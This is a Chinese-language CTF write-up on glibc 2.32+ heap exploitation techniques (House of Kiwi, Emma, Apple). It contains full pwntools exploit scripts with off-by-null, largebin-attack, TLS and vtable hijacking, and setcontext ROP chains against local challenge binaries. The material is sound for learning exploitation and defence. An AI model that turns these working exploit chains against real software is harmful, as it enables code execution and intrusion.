house系2
这里我们续接上回,https://blog.csdn.net/njh18790816639/article/details/126235581
接着分析高版本的Glibc利用手法,而高版本的利用手法,大都涉及到了io_file以及虚表这类函数指针等
House_OF_Kiwi
这篇文章house of kiwi介绍了这种手法,我们有了上篇的基础,那么这里我们便能快速入门,了解这种手法是如何进行攻击的;当然,我们依旧从调用链上来查看其深层原因;我们不仅要知其然,还要知其所以然;
相信我们对这个函数已经很熟悉了,上回house of cat采用了__fxprintf函数-》_vfxprintf函数-》vfprintf函数-》伪造vtable表偏移进入_IO_wfile_seekoff函数-》_IO_switch_to_wget_mode函数,最终位于_IO_switch_to_wget_mode执行函数;
而本次将不再利用__fxprintf函数,同时不会伪造io_file了;
我们将利用fflush该函数;
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
我们跟踪函数,查看深层原因,fflush背后究竟是什么?
#define fflush(s) _IO_fflush (s)
int
_IO_fflush (FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();
else
{
int result;
CHECK_FILE (fp, EOF);
_IO_acquire_lock (fp);
result = _IO_SYNC (fp) ? EOF : 0;
_IO_release_lock (fp);
return result;
}
}
libc_hidden_def (_IO_fflush)
如下为汇编部分,此时rbp储存着0x7f1ac077e4c0 (_IO_file_jumps)该虚表,最终
0x7f1ac0617d45 <fflush+117> mov rcx, rbp
0x7f1ac0617d48 <fflush+120> sub rcx, rdx
0x7f1ac0617d4b <fflush+123> cmp rax, rcx
0x7f1ac0617d4e <fflush+126> jbe fflush+216 <fflush+216>
0x7f1ac0617d50 <fflush+128> mov rdi, rbx
► 0x7f1ac0617d53 <fflush+131> call qword ptr [rbp + 0x60] <setcontext+61>
rdi: 0x7f1ac077d5e0 (_IO_2_1_stderr_) ◂— 0xfbad2887
rsi: 0x7ffedb61cd20 ◂— 0x616d203a6e69616d ('main: ma')
rdx: 0x7f1ac077d8c0 (_IO_helper_jumps) ◂— 0x0
rcx: 0xc00
0x7f1ac0617d56 <fflush+134> xor r8d, r8d
0x7f1ac0617d59 <fflush+137> test eax, eax
0x7f1ac0617d5b <fflush+139> setne r8b
0x7f1ac0617d5f <fflush+143> neg r8d
0x7f1ac0617d62 <fflush+146> test dword ptr [rbx], 0x8000
如果我们能够修改 _IO_SYNC 函数为我们想要执行的函数,并且设置偏移0x60为setcontext函数,那么就相当于利用了SROP,同时修改rdx: 0x7f1ac077d8c0 (_IO_helper_jumps)之中偏移0xa0以及0xa8为我们的rsp,以及返回地址ret_addr;
此时我们便可以执行orw获取flag(沙盒保护),获取直接system获取权限;
此时我们来看例题,NepCTF 2021赛事中NULL_FxCK,该题目非常精妙(变态);(GLIBC2.32)
利用ida分析中,发现edit存在off by null
这里我们就要使用高版本中的GLIBC的off by null来造成堆块重叠,以此来泄露libc以及heap地址,然后利用largebin attack修改TLS指针指向已知的堆地址,此时劫持TLS,修改io_file_jumps以及io_helpre_jumps和top_chunk的size域;
总结: off by null -> largebin_attack -> 劫持tls -> house of kiwi;
整体流程较为麻烦;
第一步,公式化0->3->5->2,此时我们可以想象的到,3号堆块一定残留下来了指针fd->ck0 bk->ck5,那么我们接下来需要做的事情便是修复0号堆块的bk指向3号堆块,5号堆块的fd指针指向3号堆块;此时方能绕过检查,造成一个大的重叠堆块
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck0->ck5->ck2
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#修改ck3的size域
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
第二步,则是修改fwd->bk以及bck->fd来绕过检查,并进行unlink,从而泄露地址;
#修复1
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: ck0->部分(ck3)
add(0x418,b'a'*0x9)#2 ck0 修复fwd->bk
add(0x418)#3 部分(ck3)
#修复2
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: 部分(ck3)->ck5
add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
io_file_jumps = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x000000000002858f
pop_rsi_ret = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr = libc_base+0x0000000000026699
第三步,该步骤比较简单,写入ROP链即可;
# rop_chain
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'
tls = libc_base+0x1EB578
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
delete(0)# ck2+部分(ck3) 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3) 写入ROP链
第四步,构造largebin_attack的堆风水,修改tls的指针指向已知堆地址;
# largebin_attack
add(0x418)#11 ck11
add(0x208)#12 ck12
delete(5)# ck5 0x431
delete(4)# ck4 0x1251 ck5位于ck4内部
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418] largebin[0x431]
add(0x500)#5 ck13 largebin_attack:tls->ck11
add(0x410)#11 ck11 unlink_chunk tls->ck5
第五步,申请tls指针指向的堆块,并往其中写入tcache指向io_file_jumps、io_helper_jumps+0xa0、top_chunk-0x10,此时我们申请小堆块,修改这些内容,完成最终的利用;
# 劫持TLS
delete(4)# 0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发asser
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
pwndbg()
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
最终exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
binary = './main'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
def add(size=0x108,payload=b'/bin/sh\x00'):#32
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(size))
r.sendafter("(: Content: ",payload)
def edit(index,payload):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",payload)
def delete(index):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(index))
def show(index):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(index))
return u64(r.recv(6).ljust(8,b'\x00'))
def pwndbg():
gdb.attach(r)
pause()
add(0x418)#0 ck0
add(0x1f8)#1 ck1
add(0x428)#2 ck2
add(0x438)#3 ck3
add(0x208)#4 ck4
add(0x428)#5 ck5
add(0x208)#6 ck6
delete(0)# unsortedbin: ck0->ck5->ck2
delete(3)# ck3残留指针: fd->ck0 bk->ck5
delete(5)
delete(2)# ck2与ck3进行合并,并放入到unsortedbin最后位置
#修改ck3的size域
add(0x440,b'a'*0x428+p64(0xc91))#0 ck2+部分(ck3) largebin: ck0->ck5
add(0x418)#2 部分(ck3)
add(0x418)#3 ck0
add(0x428)#5 ck5 bins为空
#修复1
delete(3)# ck0
delete(2)# 部分(ck3) unsortedbin: ck0->部分(ck3)
add(0x418,b'a'*0x9)#2 ck0 修复fwd->bk
add(0x418)#3 部分(ck3)
#修复2
delete(3)# 部分(ck3)
delete(5)# ck5 unsortebin: 部分(ck3)->ck5
add(0x9f8)#3 ck7 largebin:部分(ck3)->ck5 此时ck5->fd指向ck3(偏移)
add(0x428,b'b')#5 ck5 修复bck->fd
edit(6,b'c'*0x200+p64(0xc90)+b'\x00')# off by bull
add(0x418)#7 部分(ck3)
# unlink_attack ck3[0x438]-ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
add(0x208)#8 ck8 防止合并
delete(3)# ck7 unlink
add(0x430,p64(0)*3+p64(0x421))#3 ck3 恢复堆结构
add(0x1600)#9 ck9 largebin: 0x1251 ck4[0x208]-ck5[0x428]-ck6[0x208]-ck7[0x9f8]
libc_base = show(4)-1680-0x10-libc.sym['__malloc_hook']
heap_base = show(5)-0x2b0
io_file_jumps = libc_base+0x1E54C0
io_helper_jumps = libc_base+0x1E48C0
setcontext_addr = libc_base+libc.sym['setcontext']+61
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
pop_rdi_ret = libc_base+0x000000000002858f
pop_rsi_ret = libc_base+0x000000000002ac3f
pop_rdx_r12_ret = libc_base+0x0000000000114161
ret_addr = libc_base+0x0000000000026699
# rop_chain
rop_addr = heap_base+0x8e0
flag_addr = heap_base+0x8e0+0x100
rop_chain = flat([
pop_rdi_ret,flag_addr,pop_rsi_ret,0,open_addr,
pop_rdi_ret,3,pop_rsi_ret,flag_addr,pop_rdx_r12_ret,0x50,0,read_addr,
pop_rdi_ret,1,write_addr
]).ljust(0x100,b'\x00')+b'flag\x00'
tls = libc_base+0x1EB578
add(0x1240,b'd'*0x208+p64(0x431)+b'd'*0x428+p64(0x211)+b'd'*0x208+p64(0xa01))#10
delete(0)# ck2+部分(ck3) 0x451
add(0x440,rop_chain)#0 ck2+部分(ck3) 写入ROP链
# largebin_attack
add(0x418)#11 ck11
add(0x208)#12 ck12
delete(5)# ck5 0x431
delete(4)# ck4 0x1251 ck5位于ck4内部
add(0x1240,b'e'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)+p64(tls-0x20))#4
delete(11)# ck11 unsortedbin[0x418] largebin[0x431]
add(0x500)#5 ck13 largebin_attack:tls->ck11
add(0x410)#11 ck11 unlink_chunk tls->ck5
# 劫持TLS
delete(4)# 0x1240
add(0x1240,b'f'*0x208+p64(0x431)+p64(libc_base+0x1E3FF0)*2+p64(heap_base+0x1350)*2)
tls_struct = b'\x01'*0x70
tls_struct = tls_struct.ljust(0xe8,b'\x00')+p64(io_file_jumps+0x60)#SYNC
tls_struct = tls_struct.ljust(0x168,b'\x00')+p64(io_helper_jumps+0xa0)+p64(heap_base+0x46f0)
add(0x420,tls_struct)#4 ck5 tls
add(0x100,p64(setcontext_addr))#SYNC
add(0x200,p64(rop_addr)+p64(ret_addr))#rop 以及 返回地址
add(0x210,p64(0)+p64(0x910))# 修改top_chunk的size域 触发asser
success(hex(tls))
success("heap_base -> "+hex(heap_base))
success("libc_base -> "+hex(libc_base))
pwndbg()
r.sendlineafter(">> ",'1')
r.sendlineafter("(: Size: ",str(0x1000))
r.interactive()
参考链接:
pwn题null_fzck学习house of wiki
House of Kiwi
House _OF _Emma
原链接,作者给出了一种位于高版本中的利用手法,这里我们接着分析,该手法调用了那些函数?
但是题目附件并没有?
这里我们先来看一些极其相似的函数,分别是_IO_cookie_read、_IO_cookie_write 、_IO_cookie_seek 、_IO_cookie_close 这四个函数:
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif
if (read_cb == NULL)
return -1;
return read_cb (cfile->__cookie, buf, size);
}
//这里我们就看_IO_cookie_read该函数即可,其他函数与该函数相似,利用方式相同,就不重复放上去了;
略...
但是这里存在着一个加密,该加密与tcache的fd指针加密方式相同:
# define PTR_DEMANGLE(dst, src, guard, tmp) \
PTR_MANGLE (dst, src, guard, tmp)
# define PTR_MANGLE(reg) xor __pointer_chk_guard_local(%rip), reg; \
rol $2*LP_SIZE+1, reg
如果我们能够控制这个__pointer_chk_guard_local内容为我们已知的数据,那么加密在我们面前形同虚设;
这个则是第七届“湖湘杯” House _OF _Emma的exp,相对比较简单,通过两次largebin_attack修改了stderr指针以及__pointer_chk_guard_local指针内容,从而位于_IO_cookie_write函数之中劫持程序流,利用setcontext函数完成SROP,进而orw泄露flag;
from pwncli import *
context(log_level='debug',os='linux',arch='amd64',endian='little')
binary = './pwn'
r = process(binary)
elf = ELF(binary)
libc = elf.libc
payload = b''
def add(idx,size): # 0x10
global payload
payload += b'\x01'+p8(idx)
payload += p16(size)
def free(idx):
global payload
payload += b'\x02'+p8(idx)
def show(idx):
global payload
payload += b'\x03'+p8(idx)
def edit(idx,pload:bytes):
global payload
payload += b'\x04'+p8(idx)
payload += p16(len(pload))
payload += pload
def send():
global payload
r.sendafter("Pls input the opcode\n",payload+b'\x05')
payload = b''
# leak
add(0,0x480)# 防止合并
add(0,0x480)# UAF leak地址
free(0)
add(1,0x480)
add(2,0x480)
add(3,0x490)
add(4,0x490)
add(5,0x500)
add(6,0x500)
free(6)
add(7,0x410)
free(1)
free(3)
free(5)# unsoredbin: ck1->ck3->ck5
add(5,0x500)# largebin: ck1->ck3
show(1)
show(3)
send()
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1F30D0
r.recvuntil("Show Done\n")
heap_base = u64(r.recv(6).ljust(8,b'\x00'))-0x2730
io_stderr = libc_base+libc.sym['stderr']
pointer_chk = libc_base-0x2890
setcontext = libc_base+libc.sym['setcontext']+61
gadget_addr = libc_base+0x146020
'''
0x00007f9398468020 <+528>: mov rdx,QWORD PTR [rdi+0x8]
0x00007f9398468024 <+532>: mov QWORD PTR [rsp],rax
0x00007f9398468028 <+536>: call QWORD PTR [rdx+0x20]
'''
rcx_ret = libc_base+0x000000000002d446
pop_rax_ret = libc_base+0x00000000000446c0
pop_rdi_ret = libc_base+0x000000000002daa2
pop_rsi_ret = libc_base+0x0000000000037c0a
pop_rdx_r12_ret = libc_base+0x00000000001066e1
syscall = libc_base+0x883b6
add(1,0x480)# largebin: ck3
free(1)
edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(io_stderr-0x20))
send()# largebin_attack stderr:ch3_addr
add(1,0x480)# largebin: ck3
free(1)
edit(3,p64(libc_base+0x1F30D0)*2+p64(0)+p64(pointer_chk-0x20))
send()# largebin_attack __pointer_chk_guard_local:heap_base+0x2730
io_file = IO_FILE_plus_struct()
io_file._mode = 0
io_file._lock = heap_base+0x100
io_file.vtable = libc_base+libc.sym['_IO_cookie_jumps']+0x40
rop = ([
pop_rdi_ret,heap_base+0x3050+0x110,pop_rsi_ret,0,pop_rdx_r12_ret,0,0,pop_rax_ret,2,syscall, # open("flag")
pop_rdi_ret,3,pop_rsi_ret,heap_base,pop_rdx_r12_ret,0x50,0,pop_rax_ret,0,syscall, # read(3,buf,0x50)
pop_rdi_ret,1,pop_rax_ret,1,syscall # write(1,buf,0x50)
])
exp = flat({
0: bytes(io_file)[0x10:] ,
0xd0: heap_base+0x3050+0xe0 ,
0xd8: heap_base+0x3050+0xe8 ,
0xe0: (gadget_addr^(heap_base+0x3050))<<0x11 ,
0xf8: setcontext ,
0x100: b'flag\x00\x00\x00\x00' ,
0x178: heap_base+0x3050+0x1a0 , # rsp
0x180: rcx_ret , # rip
0x190: rop
})
add(1,0x480)
edit(3,exp)
send()
edit(6,b'a'*0x418+p64(0x22))
add(8,0x500)
success(hex(heap_base))
success(hex(libc_base))
gdb.attach(r,'b _IO_cookie_write')
pause()
send()
r.interactive()
House of apple
我更愿称之为目前高版本集大成手法,该手法相当于集合了前面house of ???的大成者,仅仅需要利用一次largebin_attack来完成一次任意地址写即可,先给出步骤,很简单,修改 IO_list_all_ 为堆地址(可控地址),然后我们布置一下 io_file 的布局,并且利用 _chain 指针指向下一个伪造的 io_file ,如果说第一个 io_file 能执行一个函数(可控的),那么第二个 io_file 就能执行第二个函数(可控的);
这里相当于可以结合以前的一个house来结合利用,但是条件却没有那么多了;
这里就采用roderick师傅题目附件oneday;刚开始比较简单构造出堆块重叠的的形式;
利用一次写来完成对多个io_file的伪造,以及对largebin的bk_nextsize的修改,然后利用largebin_attack修改_IO_list_all指向堆地址(可控地址),并通过exit函数中的_IO_cleanup函数完成对几个伪造的io_file利用;
这里采用了原文件exp进行调试分享,故不分享exp,进而分享调试过程,以及调用链;
- 该方式是利用largebin_attack攻击_IO_list_all指向堆地址(可控地址),伪造出三个fake_io_file结构体;第一个伪造的结构体vtable为_IO_wstrn_jumps,调用函数为_IO_wstrn_overflow;第二个伪造的结构体vtable指向_IO_cookie_jumps,调用函数为_IO_cookie_read;
这个时候可以发现我们在进入_IO_wstrn_overflow函数之中,发现__pointer_chk_guard_local还是随机数(未知数),这里我们通过伪造fp->_wide_data指针指向我们的__pointer_chk_guard_local,那么在这个函数结束后,则__pointer_chk_guard_local将会该改为堆地址(已知)
此时第一个伪造的结构体经历了一个可控的函数,修改了__pointer_chk_guard_local数值为已知值;那么第二个伪造的结构体进入的函数为_IO_cookie_read;
这里我们可以看出解密过程,以及jmp rax;
之后我们再通过一些gadget,进行栈转移即可,此时栈也被劫持到堆地址上了;
最终变成了简单的ROP;相当于利用了两次可控函数,完成了劫持栈,并ROP执行我们想要的内容;
- 利用方式二,此时我们需要伪造三个fake_io_file,通过三个函数(可控的),来完成劫持程序流;
首先通过伪造第一个fake_io_file,执行_IO_wstrn_overflow函数,伪造fp->_wide_data指针指向tls指针,修改tls指针为堆地址(可控地址)
此时通过第二个伪造的fake_io_file来执行_IO_str_overflow函数,通过连续的malloc、memcpy、free函数(此时申请的malloc为tcache大小,提前布置好堆块上的位置,可以申请到_IO_str_jumps,并修改内容为gadget),进而修改掉_IO_str_jumps(可写)内容指向gadget,从而劫持程序流;
而第三个伪造的fake_io_file用来执行已经被修改过的_IO_str_jumps内部函数,进而劫持到了程序流;
- 该利用方式就比较简单,仅仅需要伪造一个fake_io_file即可,主要需要伪造_wide_data该结构体,因为我们将会使用到该结构体之中的vtable指针劫持程序流;
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);//最终我们需要执行该函数,所有需要绕过路上的一些检查
_IO_free_wbackup_area (f);
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
略...
}
else
{
略...
}
return wch;
}
libc_hidden_def (_IO_wfile_overflow)
而_IO_wdoallocbuf函数的具体实现也很简单,如下所示,这里使用到了_wide_data结构体的vtable,但是这个vtable却没有合法性检测;故我们可以使其指向任何位置
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//我们需要执行到_IO_WDOALLOCATE()函数即可
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
这里可以看出与house of cat太过相似了,或者说hosue of cat便是从此处引出的;进入的是<_IO_wfile_overflow>函数,跟踪看看!
跟踪到<_IO_wdoallocbuf>函数,此时我们可以发现rdi即使我们传入的"hack!"字符串,其实就是fp->flags
最终执行_wide_data结构体的vtable偏移0x68,此时我们修改此处为puts,则将执行puts函数功能,相当于我们劫持到了程序流;